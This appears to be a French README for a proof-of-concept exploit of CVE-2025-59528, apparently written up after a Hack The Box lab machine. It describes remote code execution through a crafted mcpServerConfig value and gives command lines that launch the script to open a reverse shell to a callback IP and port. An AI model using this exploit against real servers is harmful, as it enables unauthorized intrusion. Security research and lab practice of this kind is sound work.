
PoC pour CVE-2025-59528 utilisé pour réaliser une exécution de code à distance sur la machine Silentium de HTB
Usage éducatif uniquement. Ce projet est destiné à la recherche en sécurité contrôlée, aux démonstrations en classe et aux tests autorisés dans un laboratoire isolé. Ne l'utilisez pas contre des systèmes, réseaux, applications ou comptes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
Cette preuve de concept démontre comment une valeur mcpServerConfig mal gérée peut permettre l'évaluation JavaScript côté serveur et l'exécution de commandes via la fonctionnalité de chargement de nœuds customMCP.
Le script prend en charge deux méthodes d'authentification :
Authorization.Après l'authentification, le script soumet une configuration spécialement conçue à /api/v1/node-load-method/customMCP. La charge utile utilise la fonctionnalité de processus enfants de Node.js pour exécuter une commande shell et établir une connexion de retour vers un écouteur contrôlé par le chercheur. Ce comportement est inclus uniquement pour démontrer l'impact potentiel dans un environnement de laboratoire autorisé.
requests.Installez la dépendance avec :
python3 -m pip install requests
Enregistrez le script sous le nom CVE-2025-59528.py.
python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>
Exemple avec des valeurs à titre de documentation uniquement :
python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444
python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>
Exemple avec des valeurs à titre de documentation uniquement :
python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444
Le script s'attend à ce que ces routes d'application soient disponibles :
/api/v1/auth/login/api/v1/node-load-method/customMCPLe script actuel construit des URL http://. Mettez à jour l'implémentation pour HTTPS lorsque vous testez un déploiement de laboratoire nécessitant TLS.
main() valide le nombre d'arguments de la ligne de commande et sélectionne le mode d'authentification.login() envoie les identifiants fournis au point de terminaison de connexion.tokens() extrait les valeurs de session de l'en-tête de réponse Set-Cookie.shell() construit la requête authentifiée et soumet la valeur mcpServerConfig spécialement conçue.bearer() effectue la même requête en utilisant un jeton Bearer au lieu de cookies de session.